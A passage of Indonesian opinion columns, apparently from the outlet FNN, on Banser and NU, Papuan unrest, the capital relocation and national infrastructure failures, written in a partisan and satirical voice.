tetap bisa ‘bunyi’ bahkan berteriak saat mengendus adanya tangan-tangan kotor yang berusaha menelikung aturan main guna memuaskan syahwat para Pengpeng dan atau swasta yang berselingkuh.

Tuntuntan Banser Dibubarkan, Kok Aku Merasa Bahagia?

Setiap mengingat Banser, dibenakku yang tergambar wajah abu janda, dangdutan, jaga gereja dan pembubaran pengajian. Setiap mengingat Banser, terbayang teriakan kosong tanpa isi : NKRI harga mati! Oleh Nasrudin Joha Jakarta, FNN - Twitter lagi trending tagar bubarkan Banser. Semestinya, saya merasa sedih. Bukankah Banser itu ormas Islam? Tapi kenapa sebagai umat Islam kok aku Ga merasa sedih? Justru sebaliknya, diam-diam hatiku berbunga-bunga. Diam-Diam, ada sejuta kebahagiaan mendengar kabar ini. Kabar pembubaran Banser, meski baru wacana sedikit mengobati bathin yang selama ini terluka dizalimi penguasa. Setiap mengingat Banser, dibenakku yang tergambar wajah abu janda, dangdutan, jaga gereja dan pembubaran pengajian. Setiap mengingat Banser, terbayang teriakan kosong tanpa isi : NKRI harga mati! Apalagi, dijejaring sosial media beredar seorang Banser kampung yang begitu bangga meneriakan yel Banser. Lucu, sekaligus ngenes. Aku merasa aneh dengan perasaan ini, khawatir ada masalah psikologi dalam jiwa ini. Tapi, begitu bertanya ke beberapa kawan, ternyata mereka juga sama. Mereka bergembira, sangat bahagia. Aku, belum melakukan survei terhadap semua kawan. Mungkin saja, ada yang bernazar kalau Banser resmi dibubarkan akan ada yang menyembelih ayam, kambing hingga sapi. Mungkin juga ada yang bikin syukuran 3 hari, tujuh hari, 40 hari. Dan kelak, jika Banser benar-benar bubar, setiap satu tahun sekali bisa saja ada Haul, perayaan yang memperingati kematian Banser. Aku sangat khawatir ada penyakit nifaq, merasa bahagia dengan tekanan hidup yang dialami Banser. Menari-nari diatas luka pedih Banser, yang dituntut bubar oleh rakyat Papua. Hanya saja jika ditelisik sejarah, ternyata Banser yang begitu. Mereka bangga mempersekusi pengajian. Mereka bangga mempersekusi ulama. Mereka bangga, bahkan Duta Banser si Abu Janda, begitu ringan mulut menghina ulama. Oh, betapa bahagia hati ini mendengar kabar Banser dituntut bubar. Andaikan Aku bertemu Doraemon, aku minta kantong ajaib agar bisa terbang dengan baling-baling bambu, untuk menemui Banser. Dihadapan Banser, aku ucapkan kata perpisahan : "Duhai Banser, bukan aku tak Menyayangimu, tapi Allah SWT lebih sayang kepadamu. Semoga, dengan bubarnya dirimu, menghentikan kezalimanmu yang bersikap keras kepada sesama muslim, tapi begitu lemah lembut kepada gereja" Setelah itu, mungkin saja dirimu tidak merasa memiliki aib. Boleh saja, pasca pembubaran Banser justru syukuran dengan bikin dangdutan. Ah, siapapun yang membaca tulisan ini, comen nya dunk? Tulis, suasana kebatinan yang kamu alami di kolom komentar. Apakah kamu berduka atau bahagia sebahagia aku? Atau justru lebih bahagia?

Tujuan Utama NU Melayani bukan Menguasai Umat

Keharusan NU untuk kembali ke Khittah NU 1926 sebenarnya sudah diputuskan pada 1984 saat Muktamar NU di Situbondo. NU itu seharusnya tak masuk pada tataran politik rendahan, yaitu politik praktis atau kekuasaan. Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Tercatat dalam sejarah bahwa Nadhlatul Ulama (NU) pernah menjadi partai politik 5 besar pada 1955-1971. Sayangnya, beberapa orang NU yang Pro Pemerintah pada saat itu malah tidak mempertahankan keberadaan Partai NU. Sehingga, akhirnya malah Partai NU difusikan dengan partai Islam lainnya menjadi PPP. Seandainya pada waktu itu sebagian besar elit politik NU menolak Partai NU difusikan menjadi PPP, mungkin akan lain ceritanya. Kalau NU menjadi bagian dari partai politik maka wujud NU akan menjadi lebih kecil dari partai politik. Dan hal ini pernah terjadi semenjak tahun 1973-1984, di mana NU menjadi bagian dari PPP. “Seperti keinginan kuat alm ayahanda KHM Wahib Wahab,” ujar KH Solachul Aam Wahib Wahab, cucu pendiri NU KH Wahab Hasbullah kepada Pepnews.com. Bahwa partai NU harus berdiri sendiri tidak mau atau bersedia difusikan menjadi PPP. “Inshaa Allah, NU menjadi organisasi massa sekaligus partai yang besar dan tidak perlu mendirikan PKB. Di mana saat ini PKB sebagai partai justru mengendalikan/mendikte NU sebagai ormas terbesar,” lanjut Gus Aam. Oleh karena, “Kita sebagai warga NU, yang menyayangi NU, yang mencintai NU, ayo sama-sama kita berjuang sekuat tenaga, pikiran, dan uang, demi mengembalikan NU ke Khittah. Mengembalikan NU ke Jatidirinya.” Mengembalikan NU ke Relnya. “Sesuai tujuan utama NU, melayani umat, bukan menguasai umat,” tegas Gus Aam. Menurutnya, sebagai ormas terbesar, NU seharusnya menjadi Wadah besar civil society yang bisa mengayomi semua ormas. “Bukan malah memusuhi ormas lainnya,” lanjut Gus Aam. Dan yang paling penting bahwa NU harus concern dan fokus kepada 3 hal penting sesuai concern dan fokus Almaghfurlloh KH Sahal Machfud mantan Rois Aam. Yakni: Politik Kebangsaan, Politik Kerakyatan, dan Politik Etika Moral. Jadi saat ini sudah saatnya NU harus memikirkan konsep-konsep Politik Kebangsaan, Politik Kerakyatan, dan Etika Moral apa yang bisa diberikan kepada Negara RI dan Bangsa Indonesia. Oleh karena saat ini kami dengan seluruh kekuatan para kiai, tokoh agama, para Akademisi, para pengusaha, tokoh masyarakat, dan para relawan mewujudkan konsep Politik Kerakyatan yaitu diberi nama “KOPSYAMS, Koperasi Syariah Adil Makmur Sejahtera Nasional”. Merujuk dari historica perintis Jam'iyyah NU dahulu, dalam merencanakan dan mengambil keputusan melalui dasar taqorrub kepada Alloh SWT dengan kholwat, rihlah, riyadloh, dan istikhoroh. Para pendahulu itu telah banyak berjuang dan berkorban segalanya demi Bangsa, Negara, dan Agama Islam di Nusantara yang melahirkan suatu Jam'iyyah NU ala thoriqoh ahlus sunnah wal jamaah. Pengurus NU di masa Hadrotus Syekh KHM Hasyim Asy'ari, yakni KH Wahab Hasbullah, mampu menyelesaikan tragedi i'tiqodiyah umat Islam di Kerajaan Arab Saudi. Dan, para muassis menangkis keras faham mu'tazilah, murji'ah, qodariyah, syi'ah, dan wahabiyah,serta harokah kaum khawarij yang menjadi awal sumber fitnah di kalangan umat Islam. NU Now plus Liberalisme, Sekularisme, Marsisme, Kapitalisme, Komunisme, dan Animisme Dinamisme Syincritesme, tidak ada aliran yang tidak dirangkulnya, semuanya itu olah buah filosofi New Modern yang mengadopsi tawassut, tawa’un, i'tidal, dan tasammuh ala an nahdliyah. DR. Ir. KH Sholahuddin Wahid, Prof. DR. KH Rachmat Wahab, Prof. DR. KH Zahro, dan Prof. DR. KH Nashihin selaku tim inti perumus Komite Khittah NU-26 (KKNU-26), punya rasa tanggung jawab bersama sebagai warga NU. “Para tokoh NU sudah saatnya menentukan sikap nyata sebagai gerakan moril yang bertujuan mengubah perilaku PBNU yang ansich melenceng dari garis-garis besar haluan NU,” ungkap Gus Aam. Apabila dianggap angin lalu saja oleh mereka, maka ada wujud Harokah seperti Munas Alim Ulama/Rapat Akbar Alim Ulama/Munas Pondok Pesantren Seluruh Indonesia, sebagai scock therapy untuk PBNU yang selama ini menganggap keberadaan KKNU-26 adalah abal-abal, kelompok orang frustrasi dan golongan orang yang tak dapat bagian. Sungguh sangat ironis sebagai wujud nyata KKNU-26 yang telah berkali-kali menyuarakan kebenaran dalam perbaikan Jam'iyyah NU kembali dalam shiroh dakwah wa jihadiyah ala mu'assis-nya sehingga warwah dan aura NU dan para printisnya kembali wujud di pusaran alam semesta ini. “Karena NU dilahirkan sebagai jam'iyyah memiliki misi rahmatan lil alamin. Lebih cepat lebih baik, agar tidak berlarut-larut NU menjadi bulan-bulanan mafia politik dan kekuasaan,” tegas Gus Aam. Keharusan NU untuk kembali ke Khittah NU 1926 sebenarnya sudah diputuskan pada 1984 saat Muktamar NU di Situbondo. NU itu seharusnya tak masuk pada tataran politik rendahan, yaitu politik praktis atau kekuasaan. NU didirikan karena kesamaan pandangan para ulama. Kesamaan pandangan dimaksud ini adalah kesamaan wawasan keagamaan sebagai wadah perjuangan bersama menuju izzul Islam wal muslimin (kemenangan Islam dan umat Islam). Kesamaan pandangan keagamaan itulah yang kemudian dirumuskan di “Khittah Nahdhiyyah 1926 “. Melalui khitthah nahdhiyyah, NU berhasil mendasarkan terhadap sikap, penghayatan, pengamalan ajaran Islam dan tingkah laku sehari-hari jamaahnya. Jadi, “Sebagai Garis-Garis Besar Perjuangan NU (GBPNU). Pengurus NU mulai dari PBNU sampai Anak Ranting tidak boleh melenceng dari khitthah 26 agar warga NU tidak bingung kehilangan arah,” kata DR. KH Fadhoil M. Ruham. Sehingga, “Jamaah NU harus tetap berada dalam budaya, karakteristik (perwatakan) dan amaliyah jam'iyyah NU,” ujar pengasuh Ponpes Fudhola Pamekasan ini. Politik NU adalah politik keumatan dan kebangsaan dalam menegakkan NKRI. Bukan politik kepartaian. Keputusan Muktamar Situbondo pada 1984 sudah jelas. Pemurnian manhaj NU dari unsur idelogi lain sekaligus pengembangan manhaj itu guna mengakomodasi perkembangan zaman tanpa membongkar prinsip-prinsip dasar NU. Bahwa penetapan Pancasila sebagai dasar dan filosifi negara, sedangkan akidah syariat tetap Ahlussunnah wal Jamaah an-Nahdliyah. Politik NU adalah politik keumatan dan kebangsaan dalam menegakkan NKRI. Bukan politik kepartaian. Kemandirian NU dari seluruh partai politik, NU membebaskan warganya untuk berpartai tapi siapapun tidak boleh menjadikan jam’iyah NU menjadi partai politik atau bagian dari sebuah partai politik. Apalagi mengatur mekanisme jam’iyah NU dengan aturan partai politik. Dalam politik keumatan dan kebangsaan artinya pengembangan sumber-sumber kekuatan masyarakat (mabadi khoiru ummah) sebagai bagian dari pengabdian terhadap agama dan bangsa. “NU membebaskan warganya untuk berpartai, tapi siapapun tidak boleh menjadikan jam’iyah NU menjadi partai politik atau bagian dari sebuah partai politik,” kata almarhum DR. (HC) KH Ahmad Hasyim Muzadi, seperti dikutip dalam catatan “Khittah 1926 NU”. Jika tak kembali ke Khittah-26, NU akan disusupi oleh multi-ideologi yang mengakibatkan NU tidak bisa tegas sebagai organisasi sunni, dan pengembangannya akan berjaan tanpa arah dalam konteks liberalisasi pemikiran agama dan pragmatisasi kepengingan. Dari sini, tidak ada kemurnian dan kemandirian. Menurut Kiai Hasyim, saat ini Pancasila mulai redup karena belum sepenuhnya didukung oleh konstitusi dan aturan perundangan serta kebijakan teknis penyelengaraan negara. Secara ideoligis, Ahlussunnah wal Jamaah an Nahdliyah merupakan pilar pokok tegaknya Pancasila. Hal itu ditinjau dari hubungan syar’i antara agama dan negara. Kalau NU sendiri disusupi multi-ideologi, maka penegakan Pancasila pun akan terganggu. “Apabila khittah ditinggalkan maka keluhuran, keagungan, serta penghormatan pihak lain terhadap NU akan menjadi pudar. Berganti dengan pragmatisme yang harganya semakin hari akan semakin murah,” ungkap Kiai Hasyim. Jika NU menjadi bagian dari parpol, kata Kiai Hasyim, maka wujud NU akan menjadi lebih kecil dari partai politik. Dan hal ini pernah terjadi semenjak tahun 1973-1984, di mana NU menjadi bagian dari PPP. Jadi, “Pemisahan NU dan partai politik bukan berarti kita menghalagi para kader NU untuk berpolitik,” lanjut Kiai Hasyim. Pemisahan tersebut adalah pemisahan struktural, sedangkan secara strategis suatu ketika bisa bertemu kepentingan perjuangan. Kiai Hasyim mengingatkan bahwa secara nasional apabila kita meninggalkan khittah itu akan mengalami kesulitan untuk silaturahmi dengan ormas Islam yang lain, apalagi kalau menjadi pemuka ormas-ormas Islam yang lain. “Juga pengaruh NU pada eksponen dan komponen nasional akan menjadi semakin rendah. Hal ini berpengaruh kepada eksistensi dan reputasi NU di dunia internasional,” ujar mantan Ketua Umum PBNU itu. Ketika Annajah Center Sidogiri (ACS) mengadakan mentoring dengan mentor KH Muhibbul Aman Aly bertema Khasais Aswaja, Kamis (14/08/2019), Gus Muhib membahas kembali ciri-ciri Ahlussunnah wal Jamaah yang berpegang teguh pada al-Qur’an dan Hadist. Gus Muhib menerangkan, ciri-ciri Ahlussunnah wal Jamaah adalah berpegang teguh pada al-Quran dan Hadist. Tetapi, dalam berpegang teguh pada al-Quran dan Sunnah, Ahlussunnah wal Jamaah tidak pernah menggunakan daya akal sebagai prioritas utama dalam beragama. Ahlussunnah wal Jamaah tak menempatkan akal di atas teks-teks agama, seperti orang-orang yang menggunakan daya akal sebagai petunjuk dalam beragama. Seperti yang terjadi dalam sejarah perkembangan teologi Islam, yakni munculnya kelompok al-Mu’atthilun (kelompok yang ada jauh sebelum rumusan Asy’ari-Maturidi). Secara harfiyah makna dari al-Mu’atthilun adalah, kelompok yang mengabaikan teks-teks agama yang bertentangan dengan logika. Artinya, kala teks agama bertentangan dengan akal, maka yang dimenangkan adalah akal, ini adalah akar dari pada pemikiran Islam Liberal. Berbeda dengan Ahlussunnah wal Jamaah yang menempatkan akal di bawah teks agama. “Sudah sewajarnya jika segala yang menentukan baik dan buruk itu harus dikembalikan kepada akal,” Jelas Gus Muhib. Hanya ketika akal dan teks-teks agama bertentangan, maka akal tidak boleh dimenangkan. “Dalam usul fiqih kita mengenal at-Tahsin wat-Taqbikh al-Akliyaini,” lanjut Gus Muhib. Kala ada teks agama bertentangan dengan akal, sebagai manifestasi dari anugerah Allah, kita dituntut untuk menimbang. Akallah yang menentukan kebenarannya. Menurut Ahlussunnah wal Jamaah, setiap sesuatu yang datang dari Tuhan, semuanya diterima. Sekalipun bertentangan dengan akal. Oleh karena itu, kalimat-kalimat yang berada di awal surat, seperti Alif Lam Mim, menurut Ahlussunnah wal Jama’ah memiliki makna. Namun, kalau ditanya apa maknanya, maka jawabannya adalah Allahu A’lamu Bimuradihi. “Berbeda dengan al-Muatthilun yang berpandangan bahwa kalimat tersebut tidak memiliki makna,” ungkap Gus Muhib. Selain itu, adanya kalimat-kalimat di awal surat yang tidak diketahui maknanya, mengindikasikan bahwa ilmu Allah itu tidak terbatas. Karena dengan demikian, maka terdapat beberapa makna dalam ayat al-Quran yang hanya diketahui oleh Allah. (Selesai)

Aneh, Orang Papua Kok Minta Banser Dibubarkan. Siapa Bermain?

Tampil dengan seragam loreng hijau, mirip anggota militer, Banser justru sering berhadapan dengan organisasi dan kelompok Islam lainnya. Mereka tercatat beberapa kali membubarkan pengajian sejumlah ustad yang mereka nilai berseberangan. Oleh : Hersubeno Arief Jakarta, FNN - Pulang dari kampung halamannya di Sorong, politisi Golkar asal Papua Barat Yorrys Raweyai membawa kabar aneh dan janggal. Dia menyebut warga Papua minta organisasi Barisan Ansor Serbaguna (Banser) dibubarkan. Tuntutan pembubaran Barisan Ansor Serbaguna (Banser) itu masuk dalam poin ketiga dari tujuh tuntutan yang diajukan warga Papua kepada pemerintah RI. Apakah Banser ada hubungannya dengan ujaran rasis kepada mahasiswa asal Papua yang terjadi di Surabaya dan Malang? Ujaran yang kemudian memicu kerusuhan di sejumlah kota di Papua Barat: Manokwari, Sorong, dan Fakfak. Tak ada penjelasan lebih detil dari Yorrys yang kini terpilih menjadi anggota DPD. Dia hanya menyatakan bahwa tuntutan itu berasal dari warga Papua. Kabar itu segera menjadi berita besar. Sejumlah media menjadikannya judul berita. Enam poin tuntutan lain, tidak menjadi fokus. Padahal menilik isinya, poin tuntutan lainnya jauh lebih serius. Gerakan separatisme. Memisahkan diri dari Indonesia. Beritanya menyebar dengan cepat di sejumlah platform media sosial. Tak lama kemudian terjadi perang tagar di medsos. Tagar #BanserUntukNegeri dan #BubarkanBanser menduduki dua peringkat teratas di Twitter. Dalam trending topic dunia, tagar #BubarkanBanser berada di posisi kelima. Hebohnya perang tagar di medsos menunjukkan info tersebut sangat menarik, unik dan memenuhi kriteria “luar biasa.” Namun kemungkinan besar juga ada yang sengaja menggoreng. Kehadiran organisasi paramiliter sayap Gerakan Pemuda Anshor PBNU belakangan ini sering kontroversial. Mengundang pro kontra. Tampil dengan seragam loreng hijau, mirip anggota militer, Banser justru sering berhadapan dengan organisasi dan kelompok Islam lainnya. Mereka tercatat beberapa kali membubarkan pengajian sejumlah ustad yang mereka nilai berseberangan. Pada bulan November 2017 Banser membubarkan pengajian aktivis HTI Felix Siauw di Bangil, Jatim. Felix Siauw kembali menjadi sasaran aksi Banser ketika akan menjadi penceramah di masjid Balaikota DKI Jakarta, Juni 2019. Ustad berjuta umat Abdul Somad juga menjadi sasaran cekal Banser. Pada bulan Agustus 2018, ribuan anggota Banser di Jepara, Jateng menggelar apel menolak kedatangannya. Da’i muda Hanan Attaki juga pernah menjadi korban aksi Banser. Di Tegal, Jateng pengajian ustad yang dikenal dengan gerakan Pemuda Hijrah dibubarkan. Aksi Banser ini mendapat banyak kecaman, termasuk dari kalangan internal NU. Pengurus Cabang Istimewa Nahdlatul Ulama (PCINU) Amerika Serikat Akhmad Sahal meminta agar GP Ansor tidak semena-mena. Menjelang Pilkada DKI 2017 Banser juga berdiri berhadap-hadapan dengan kelompok umat Islam yang menentang Gubernur DKI Basuki Tjahja Purnama (Ahok). Ketua GP Ansor Yaqut Cholil Qoumas malah memberi gelar “Sunan” kepada Ahok. Atas keberhasilannya mengubah kawasan lokalisasi pelacuran Kalijodo, Yaqult menyebut Ahok pantas mendapat gelar sebagai Sunan Kalijodo. Nama ini mirip dengan nama salah satu tokoh penyebar Islam di Indonesia, Sunan Kalijaga. Pada Pilpres 2019 Banser yang selalu menyerukan “NKRI Harga Mati” menjadi salah satu pendukung garis keras pasangan Jokowi-Ma’ruf. Pada aksi protes kecurangan pilpres di depan Gedung Bawaslu 21-22 Mei, Yaqut mengklaim siap mengerahkan 5 juta anggota Banser membantu aparat keamanan. Sering berseberangan dengan kelompok Islam, Banser justru memiliki reputasi lebih dekat dengan umat beragama lain. Mereka selalu hadir “mengamankan” gereja pada hari Natal dan peringatan-peringatan keagamaan agama lainnya. Tak heran bila Gubernur Papua Lukas Enembe menyampaikan protes keras kepada Gubernur Jatim Khofifah. Sebagai tokoh Muslimat NU mengapa dia tak mengerahkan Banser menjaga asrama mahasiswa Papua? (Adu domba) Dengan track record semacam itu, menjadi tanda tanya besar mengapa orang Papua justru minta Banser dibubarkan. Apalagi bila dikaitkan dengan fakta bahwa nama Papua justru dikembalikan pada masa Presiden Gus Dur, tokoh besar NU. Sebelumnya pulau di ujung Timur Indonesia oleh pemerintah Orde Baru diberi itu nama Irian Jaya. Diubah dari nama sebelumnya Irian Barat. Kalau mau dicari-cari, satu-satunya penjelasan yang rada masuk akal mengapa rakyat Papua meminta Banser dibubarkan, barangkali adalah sikap mereka yang sering mengklaim dan meneriakkan yel-yel : Pancasila! NKRI Harga Mati! Sementara sebagian orang Papua ingin memisahkan diri dari Indonesia. Soal ini tampaknya harus dibikin terang. Apakah ada kaitannya Banser dengan aksi rasisme di Jatim. Mengingat Jatim adalah basis terbesar Banser. Dalam beberapa video yang beredar seputar aksi pengepungan asrama mahasiswa Papua di Surabaya, ada beberapa orang yang mengenakan atribut Banser. Tapi jelas tidak bisa disebut aksi itu dilakukan Banser. Banyak elemen lain yang terlibat. Yang harus diwaspadai justru kemungkinan adanya operasi intelijen saling membenturkan antar-elemen bangsa. Kelompok-kelompok ini—entah siapa mereka—sangat memahami posisi Banser yang kontroversial. Mereka mendorong Banser menjadi musuh bersama. Sejauh ini operasi itu sangat berhasil. Indikatornya adalah #BubarkanBanser menjadi trending topic dunia. Pada saat bersamaan Banser didorong untuk merespon dan bereaksi. Tercipta kegaduhan yang tidak perlu. Fokus pemerintah terpecah dan operasi pemisahan diri Papua dari bagian NKRI berjalan dengan mulus. Seruan untuk membubarkan Banser adalah kepingan puzzle dari sebuah skenario besar. Mulai dari beredarnya video ceramah Ustad Abdul Somad, diikuti pelaporan ke polisi. Coba perhatikan siapa pelapornya dan siapa yang sibuk menggorengnya. Tak lama kemudian ada aksi rasisme di asrama mahasiswa Papua, dan berakhir rusuh di Papua Barat. Semua itu tidak boleh kita lepaskan dari hiruk pikuk politik nasional dan geo politik global. Di Jakarta jelang pelantikan kabinet, sedang terjadi tarik menarik kepentingan kekuatan politik pasca bertemunya Jokowi dan Megawati dengan Prabowo. Papua bisa menjadi pintu masuk dan bargaining politik tingkat tinggi. Dalam geo politik global, Papua adalah sebuah wilayah yang banyak diperebutkan oleh kekuatan politik dan ekonomi negara-negara adidaya dan Perusahaan multinasional. Jika pemerintah tidak tepat dan bijak menangani Papua. Tidak tepat dan bijak menangani konflik antar-elemen bangsa, Papua bisa menjadi pintu masuk proses Balkanisasi. Slogan Pancasila dan NKRI Harga Mati! Akan menjadi slogan masa lalu yang tak lagi berarti. End

Solusi Ibu Kota, Problem Ibu Kandung

Memindahkan ibu kota ke luar Jawa paling banter menghadirkan dua solusi saja. Pertama, menaikkan harga tanah di lokasi dan sekitar lokasi ibu kota baru. Kedua, memudahkan jumpa fisik antara Presiden dan para pembantunya. Selebihnya, yang 98 lagi, adalah problem. Oleh Asyari Usman Jakarta, FNN — Tampaknya, Pemerintah bertekad keras untuk memindahkan ibu kota negara ke Kalimantan. Alasan terbaiknya adalah supaya ibu kota berada di titik tengah geografi Indonesia. Tujuan terburuknya adalah supaya semua orang dari seluruh Indonesia datang ke ibu kota dengan jarak tempuh yang sama. Bisa dipahami. Karena banyak orang yang percaya bahwa sukses itu tergantung jarak tempuh pesawat. Bukan jarak tempuh pikiran. Jadi, kita maklumi saja. Tetapi, memindahkan ibu kota ke luar Jawa paling banter menghadirkan dua solusi saja. Pertama, menaikkan harga tanah di lokasi dan sekitar lokasi ibu kota baru. Kedua, memudahkan jumpa fisik antara Presiden dan para pembantunya. Selebihnya, yang 98 lagi, adalah problem. Begitu banyak problem yang akan diakibatkan oleh pemindahan ibu kota. Di antaranya adalah problem ibu kandung. Yaitu, ibu kandung dari belasan ribu PNS yang harus ikut pindah ke Kalimantan. Misalnya, siapa yang akan merawat ibu kandung yang selama ini harus tinggal bersama ribuan PNS itu? Kalau mereka pindah ke Kalimantan, siapa yang bisa dititipi untuk menjaga ibu kandung mereka? Berapa banyak pula biaya ekstra yang harus dikeluarkan? Apa yang akan terjadi seandainya ibu kandung yang dititipkan ke seseorang di Jakarta atau entah di mana, kemudian menghilang dan tak pulang-pulang ke rumah yang dititipi? Berapa biaya yang harus disediakan untuk mencari ibu kandung yang hilang itu? Terus, seandainya ditemukan seorang wanita yang mirip dengan ibu kandung yang hilang itu, tapi ada keraguan apakah benar dia atau bukan, bagaimana pula dengan biaya tes DNA-nya? Sebab, tes DNA perlu dilakukan untuk memastikan agar si wanita yang mirip ibu kandung itu adalah si ibu kandung yang hilang. Bagi para pejabat senior, khususnya yang masih bisa lolos OTT KPK, mungkin saja tidak ada masalah dengan ibu kandung kalau mereka pindah ke Kalimantan. Duit mereka banyak terus. Tetapi, belum tentu dengan belasan ribu PNS biasa yang harus ikut hijrah ke ibu kota baru. Problem ibu kandung ini haruslah dipertimbangkan dengan matang sebelum ibu kota dipindahkan. Pemindahan ibu kota perlu dipikirkan masak-masak. Jangan setengah masak. Makanan setengah masak masih banyak bakterinya. Mengapa harus dipikirkan sampai masak? Agar tidak membuat anak-anak menjadi durhaka kepada ibu kandung mereka. Durhaka? Iya! Tentu bisa terjadi. Misalnya, kalau banyak diantara belasan ribu PNS yang harus pindah itu tak mampu membawa ibu kandung mereka, maka akan terbukalah pintu kedurhakaan. Sebab, mereka itu sangat perduli kepada ibu kandung. Tapi, gara-gara pindah ibu kota, tiba-tiba saja si anak tidak lagi menghiraukan ibu kandungnya. Memang banyak orang yang tidak perduli ibu kandung. Mungkin ibu kandung dianggap menyusahkan mereka. Banyak juga yang tak perduli dengan silsilah ibu kandung. Bahkan mereka sembunyikan garis ibu kandungnya. Mereka anggap saja tidak ada. Banyak yang begini. Tapi, tentunya kita tak ingin seperti itu. Jadi, perlulah direnungkan kembali. Jangan sampai solusi ibu kota menjadi problem ibu kandung. (*) *Penulis: Asyari Usman (wartawan senior)

Negeri Anunan

Kata “anu” dalam Bahasa Indonesia memang bisa digunakan untuk kata ganti orang, benda hingga kata kerja. Contoh, anunya (kata benda), dianu (kata kerja), Si Anu (kata ganti orang). Oleh Miftah H. Yusufpati (Wartaean Senior) Jakarta, FNN -- Anunan bukan nama orang, juga bukan bahasa asing. Dia bukan kode ataupun sandi. Khusus di sebuah desa di Pati, Jawa Tengah, anunan dipopulerkan oleh Kaji Sulkan pada era 80-an. Kini imam masjid di kampung itu sudah wafat. “Para jemaah,” ujar Kaji Sulkan suatu ketika, saat mengumumkan acara di Masjid Jamik. “Nanti malam pengajian tetap seperti biasa. Para jemaah jangan anunan...,” sambung Kaji diiringi senyum para jemaah. Kata anunan dalam kalimat itu boleh jadi adalah sebagai kata ganti “tidak datang”. Anunan hanya latah bagi Kaji Sulkan. Boleh jadi, itu terjadi karena antara pikiran dan apa yang hendak diucapkan tidak kompak. Hanya saja, anak-anak muda di kampung itu biasa menggunakan kata “anunan” untuk menyebut sesuatu yang kurang pantas jika diucapkan secara vulgar. “Mungkin Jono lagi anunan sama bininya. Jam segini belum juga datang,” begitu seseorang menduga, mengapa Jono belum datang-datang pada ronda malam. Anunan dalam kalimat itu bisa sebagai kata ganti apa saja. Anunan dari kata dasar anu dan akhiran '-an'. “Anu … dia sudah pergi,” kata sesorang menyebut si dia yang sudah pergi. Anu di situ hanya sebagai semacam gerak refleks bibir saja. Sudah jadi kebiasaan. Berbeda dengan judul berita Tribunnews.com, “Anunya Suami Patah dan Bengkak Digoyang Ngebor Istri”. Isi beritanya seorang suami harus mengalami sakit luar biasa setelah alat kelaminnya patah akibat dari goyangan istri yang terlalu kuat saat melakukan hubungan intim. Anunya dalam kalimat itu sebagai kata ganti alat kelamin, sesuatu yang kurang pantas untuk disebut secara vulgar. Kata “anu” dalam Bahasa Indonesia memang bisa digunakan untuk kata ganti orang, benda hingga kata kerja. Contoh, anunya (kata benda), dianu (kata kerja), Si Anu (kata ganti orang). Nah, belakangan ini sejumlah orang bertanya kepada saya terkait dengan blackout Bank Mandiri, disusul listrik PLN lalu yang terbaru gangguan sistem check-in di Terminal 3 untuk 3 penerbangan internasional. “Oh, negeri anunan,” guman lelaki paruh baya itu, setelah mendengar penjelasan saya. Keki juga saya dibuatnya. Tadinya saya pikir ia tidak puas dengan penjelasan saya. Maklum saja, saya bukan ahli IT. Saya hanya mengutip penjelasan para ahli dan mereka yang bertanggung jawab atas terjadinya blackout itu. Ternyata bukan itu yang dia maksud. Dia mencoba mengambil kesimpulan dari apa yang saya sampaikan tentang kondisi objektif sumber daya manusia yang dimiliki Indonesia. Orang bisa menyebut dengan indah dan membuai tentang suburnya tanah Indonesia sebagai “surga di Negeri Katulistiwa”. Lalu, orang juga bisa dengan ketus menyebut “negeri para penyamun” terhadap banyaknya pejabat yang tertangkap tangan Komisi Pemberantas Korupsi atau KPK. Tapi menyebut negeri ini sebagai “negeri anunan” jelas tidak jelas. Pastinya, di negeri anunan listrik mati seharian akibat ulah pohon sengon. Kerugian PLN dan konsumen mencapai triliunan. Di negeri anunan pula saldo orang yang nabung di Bank Mandiri tiba-tiba terkuras habis, tapi ada juga penabung yang mendapati saldonya membengkak. Lalu viral berita Bank Mandiri kebobolan Rp9 triliun akibat blackout itu. Oleh Bank Mandiri berita tersebut dibilang hoaks. Tak berhenti di sini. Di negeri anunan sejumlah sistem check-in di Bandara Soekarno Hatta tiba-tiba sempat tak berfungsi. Selesai? Belum! Di negeri anunan pemerintah membuat target penarikan pajak yang bikin geleng-geleng kepala. Target itu selalu dibuat untuk tidak tercapai. Ujung-ujungnya presiden sering uring-uringan. Begitu juga investasi dan ekspor. Target dibuat muluk-muluk, menterinya tak becus kerja, akibatnya ekspor dan investasi tak tercapai. Presiden marah-marah lalu simsalabim diciptakanlah “kementerian investasi”. Lima tahun lalu, di negeri anunan presidennya janji akan mendorong pertumbuhan ekonomi 7% per tahun. Meroket, katanya. Janji tinggal janji. Dia, hanya mampu menghidangkan ke rakyat 5%. Sudah begitu dia menganggap rakyat yang tidak puas dengan capaian itu sebagai “kufur nikmat”. Di negeri anunan, rakyat dan pemimpinnya suka anunan. Wajar saja jika si Anu jadi menganu-anu melulu. End

Orang Papua Balas Rasisme Monyet dengan Topeng Monyet

Leher monyet diikat dengan tali panjang. Diarak keliling kampung. Di suruh naik sepeda mini bolak-balik sepanjang talinya. Untuk menghibur warga. Si monyet tidak punya pilihan lain. Harus mengikuti perintah tuannya. Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Para petinggi negara bingung menghadapi Papua. Mau diambil tindakan keras, takut salah. Khawatir eskalasi situasi. Takut semakin runyam. Dengan pendekatan lemah-lembut, ketahuan pemerintah pusat lemah. Padahal memang lemah menghadapi Papua. Jakarta menjadi serba salah. Hebat dan salut kepada orang Papua. Dalam waktu 48 jam saja setelah rasisme “monyet” diteriakkan kepada mereka di Surabaya, label “monyet” itu mereka kembalikan ke Jakarta. Bahkan makna kemonyetan yang dikembalikan itu lebih tajam. Sangat menohok. Rasisme monyet yang dibalikkan ke Jakarta itu mengandung arti yang sangat rendah. Cukup hina. Orang Papua mengembalikan ucapan kasar itu bukan dengan kata-kata kasar. Mereka cukup menunjukkan isyarat menuntut penentuan nasib sendiri. Mereka kibarkan bendera Bintang Kejora di jalan-jalan Papua. Mereka buat rapat umum dengan teriakan “Papua Merdeka” atau “Kami Mau Referendum”, dan yel-yel lain yang intinya meminta agar Papua lepas dari Indonesia. Tak ada yang berani mencegah. Bintang Kejora dan semua yel-yel itu membuat para penguasa di Jakarta menjadi kecut. Mereka gamang. Para menteri Polhukam takut Timor Timur akan terulang. Yang mengidap diabetes, kadar gulanya langsung turun-naik. Khawatir tuntutan “Papua Merdeka” semakin membolasalju. Dalam situasi seperti ini, orang Papua jelas berada pada posisi di atas angin. Mereka yang memegang kendali. Secara politis, Papualah yang saat ini mendikte penguasa pusat. Saya teringat pertunjukan Topeng Monyet yang 